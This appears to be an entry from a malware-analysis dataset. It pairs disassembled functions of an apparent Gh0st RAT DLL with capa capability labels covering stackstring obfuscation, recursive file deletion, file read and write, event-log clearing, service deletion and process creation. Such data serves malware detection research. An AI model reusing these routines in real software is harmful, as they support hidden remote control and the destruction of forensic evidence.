joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100043f0
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x25c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
mov ebp, ecx
mov edi, 0x2800
push 0x30
mov dword [esp + 0x28], ebp
mov dword [ebp + 0x1c], 0
mov dword [esp + 0x24], edi
call esi
add esp, 4
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov al, 0x2a
mov byte [esp + 0x17], al
mov byte [esp + 0x19], al
mov eax, dword [esp + 0x270]
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x16c]
push ecx
push edx
mov byte [esp + 0x20], 0x25
mov byte [esp + 0x21], 0x73
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x26], 0
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call esi
add esp, 0x10
lea eax, [esp + 0x28]
lea ecx, [esp + 0x168]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x30
mov dword [esp + 0x20], eax
call esi
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, 0xffffffff
jne 0x100044b4
lea edx, [esp + 0x13]
push 1
push edx
mov ecx, ebp
mov byte [esp + 0x1b], 0x68
call fcn.10008020
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 4
mov byte [ebx], 0x68
mov ebp, 1
jmp 0x100044c2
mov edi, dword [esp + 0x20]
lea eax, [edi - 0x208]
cmp ebp, eax
jbe 0x100044e2
add edi, 0x208
push 0x42
push edi
push ebx
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov edi, 0x10018354
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10004513
test al, al
je 0x1000450f
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10004513
add esi, 2
add edi, 2
test al, al
jne 0x100044eb
xor eax, eax
jmp 0x10004518
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100045b2
mov edi, 0x10018350
lea esi, [esp + 0x54]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x10004551
test al, al
je 0x1000454d
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x10004551
add esi, 2
add edi, 2
test al, al
jne 0x10004529
xor eax, eax
jmp 0x10004556
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100045b2
mov al, byte [esp + 0x28]
lea ecx, [esp + 0x54]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x54]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebp, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x44]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x48]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x3c]
add ebp, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x40]
mov dword [ebx + ebp + 4], eax
add ebp, 8
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100044be
mov ecx, dword [esp + 0x24]
push ebp
push ebx
call fcn.10008020
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x25c
ret 4
Function at 0x10004600
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x480
mov dword [esp + 0x2c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x494]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x40], eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
lea edx, [esp + 0x10]
push esi
lea eax, [esp + 0x188]
push edx
push eax
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x44]
lea edx, [esp + 0x184]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004725
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esp + 0x70], 0x2e
je 0x1000477b
test byte [esp + 0x44], 0x10
lea eax, [esp + 0x70]
push eax
push esi
push str._s_s
je 0x10004764
lea ecx, [esp + 0x398]
push ecx
call edi
mov ecx, dword [esp + 0x4c]
add esp, 0x10
lea edx, [esp + 0x38c]
push edx
call fcn.10004600
jmp 0x1000477b
lea ecx, [esp + 0x294]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x288]
push edx
call ebx
lea eax, [esp + 0x44]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000472b
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [esp + 0x44]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x480
ret 4
Function at 0x100047b0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x21], al
mov byte [esp + 0x24], al
mov byte [esp + 0x16], al
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], esi
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov ebx, eax
mov ebp, dword [esp + 0x38]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push 0x80000000
rep movsb byte es:[edi], byte [esi]
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x100048a5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
lea ecx, [esp + 0x10]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push str.CloseHandle
push str.kernel32.dll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x38]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10008020
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10004950
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0x12], al
mov byte [esp + 0x15], al
mov byte [esp + 0x19], al
push esi
mov byte [esp + 0x25], cl
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2b], cl
mov byte [esp + 0x1c], cl
lea eax, [esp + 0x14]
push edi
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov dword [esp + 0x1c], ebp
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, dword [esp + 0x38]
cmp dword [edi + 4], 0xffffffff
jne 0x10004a0d
mov ecx, ebp
call fcn.10004af0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x24
ret 4
push 0
push 0x80
push 3
push 0
push 1
add ebp, 0x20
push 0x80000000
push ebp
call eax
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10004a38
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
add esp, 0x24
ret 4
push str.SetFilePointer
push str.kernel32.dll
call ebx
push eax
call esi
mov edx, dword [edi + 4]
push 0
push edi
push edx
push ebp
call eax
push 0x2000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea edx, [esp + 0x10]
push 0
push edx
mov byte [esi], 0x6a
mov eax, dword [edi]
mov dword [esi + 1], eax
mov ecx, dword [edi + 4]
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebp
mov dword [esi + 5], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push str.CloseHandle
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebp
call eax
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10004ace
mov ecx, dword [esp + 0x14]
add eax, 9
push eax
push esi
call fcn.10008020
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
mov ecx, dword [esp + 0x14]
call fcn.10004af0
mov edi, dword [esp + 0x38]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret 4
Function at 0x10005040
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x16c
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x6c
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x21], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], dl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0x1c]
mov ebx, eax
mov eax, ecx
sub eax, 2
je 0x10005103
sub eax, 2
je 0x100050fc
sub eax, 2
je 0x100050f5
mov edi, ecx
jmp 0x10005108
mov edi, 5
jmp 0x10005108
mov edi, 3
jmp 0x10005108
mov edi, 1
lea edx, [esp + 0x3c]
lea ebp, [esi + 0x20]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp eax, 0xffffffff
mov dword [esp + 0x10], ecx
mov byte [esp + 0x10], 0x70
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
je 0x10005175
cmp edi, 1
jne 0x1000514b
mov edx, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], ecx
mov edi, 3
jmp 0x1000518a
cmp edi, 3
jne 0x10005161
xor edx, edx
mov edi, 2
mov dword [esp + 0x11], edx
mov dword [esp + 0x15], edx
jmp 0x1000518a
cmp edi, 5
jne 0x10005186
mov dword [esp + 0x15], 0xffffffff
mov edi, 3
jmp 0x1000518a
xor ecx, ecx
mov edi, 2
mov dword [esp + 0x11], ecx
mov dword [esp + 0x15], ecx
jmp 0x1000518a
mov edi, dword [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
push 0x80
push edi
push 0
push 2
push 0x40000000
push ebp
call ebx
mov edi, eax
cmp edi, 0xffffffff
jne 0x100051c5
xor eax, eax
pop edi
mov dword [esi + 0x128], eax
mov dword [esi + 0x12c], eax
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
push str.CloseHandle
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
lea edx, [esp + 0x10]
push 9
push edx
mov ecx, esi
call fcn.10008020
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x16c
ret
Function at 0x10005200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x58
push ebx
push ebp
mov ebp, ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x38]
push edi
lea ecx, [esp + 0x48]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x50], 0x6b
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x72
mov byte [esp + 0x53], 0x6e
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x33
mov byte [esp + 0x57], 0x32
mov byte [esp + 0x58], 0x2e
mov byte [esp + 0x59], 0x64
mov byte [esp + 0x5a], 0x6c
mov byte [esp + 0x5b], 0x6c
mov byte [esp + 0x5c], 0
mov byte [esp + 0x44], 0x43
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x61
mov byte [esp + 0x48], 0x74
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x46
mov byte [esp + 0x4b], 0x69
mov byte [esp + 0x4c], 0x6c
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x41
mov byte [esp + 0x4f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x18], eax
lea edx, [esp + 0x30]
lea eax, [esp + 0x58]
push edx
push eax
mov byte [esp + 0x60], 0x6b
mov byte [esp + 0x61], bl
mov byte [esp + 0x62], 0x72
mov byte [esp + 0x63], 0x6e
mov byte [esp + 0x64], bl
mov byte [esp + 0x65], 0x6c
mov byte [esp + 0x66], 0x33
mov byte [esp + 0x67], 0x32
mov byte [esp + 0x68], 0x2e
mov byte [esp + 0x69], 0x64
mov byte [esp + 0x6a], 0x6c
mov byte [esp + 0x6b], 0x6c
mov byte [esp + 0x6c], 0
mov byte [esp + 0x38], 0x57
mov byte [esp + 0x39], 0x72
mov byte [esp + 0x3a], 0x69
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x46
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], bl
mov byte [esp + 0x41], 0
call esi
push eax
call edi
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x6c]
push 0
push 0x80
mov ecx, dword [eax]
mov edx, dword [eax + 4]
push 3
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], edx
push 0
push 2
lea eax, [ebp + 0x20]
push 0x40000000
push eax
call dword [esp + 0x34]
push str.SetFilePointer
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push 0
push ecx
push edx
push ebx
call eax
mov ecx, dword [esp + 0x70]
mov edx, dword [esp + 0x6c]
lea eax, [esp + 0x20]
push 0
add ecx, 0xfffffff8
push eax
add edx, 8
push ecx
push edx
push ebx
call dword [esp + 0x30]
push str.CloseHandle
push str.kernel32.dll
call esi
push eax
call edi
push ebx
call eax
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov dword [esp + 0x25], eax
add ecx, edx
lea eax, [esp + 0x24]
mov dword [esp + 0x29], ecx
push 9
push eax
mov ecx, ebp
mov byte [esp + 0x2c], 0x70
call fcn.10008020
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret 8
Function at 0x10005fe0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10006002
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000b6e0
add esp, 8
test al, al
jne 0x10006016
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x100060f0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10006140
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10006127
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10006160
Capabilities:
Access peb ldr_data
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x10014ae8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0xc], esi
call fcn.10007ef0
mov eax, dword [esp + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
mov dword [esp + 0x14], 0
mov dword [esi], 0x100152f4
je 0x100061ab
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100061bd
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x100061cd
push eax
push 0x1001ab28
call edi
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x24]
push str.CloseHandle
mov dword [0x10018384], eax
push str.kernel32.dll
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0
push 0x10005c10
push 0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call edi
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0x18
Function at 0x10006860
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret
Function at 0x10006950
Capabilities:
Contain obfuscated stackstrings
Delete service

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.OpenSCManagerA
push str.ADVAPI32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
mov al, 0x6c
mov byte [esp + 0x29], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], al
mov al, 0x73
mov cl, 0x65
mov byte [esp + 0x21], al
mov byte [esp + 0x22], al
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x20], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x24]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x2c], 0x6b
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x38], 0
mov byte [esp + 0x20], 0x45
mov byte [esp + 0x21], 0x78
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x50
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x2b], 0
call edi
push eax
call ebp
mov dword [esp + 0x14], eax
call fcn.10006860
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call ebx
push 0x30
mov ebx, eax
call esi
add esp, 4
push 0x10000
push 0x1001afd0
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push 0x30
mov dword [esp + 0x14], eax
call esi
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0x30
call esi
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x30
call esi
add esp, 4
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 1
push 0
push 3
call fcn.1000cdc0
add esp, 0xc
push str.Sleep
push str.kernel32.dll
call edi
push eax
call ebp
push 0xa
call eax
push 0
push 0
push 1
call fcn.1000cdc0
add esp, 0xc
push 0
call dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x10006ac0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.CreateToolhelp32Snapshot
push str.kernel32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov edi, eax
xor ebx, ebx
call esi
add esp, 4
push ebx
push 2
call edi
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x18], 0x128
call esi
add esp, 8
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ecx, dword [esp + 0x140]
add esp, 4
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10006b64
push 0x30
call esi
add esp, 4
lea eax, [esp + 0x10]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10006b68
mov ecx, dword [esp + 0x13c]
lea edx, [esp + 0x34]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10006b37
mov ebx, dword [esp + 0x18]
push 0x30
call esi
add esp, 4
push str.CloseHandle
push str.kernel32.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret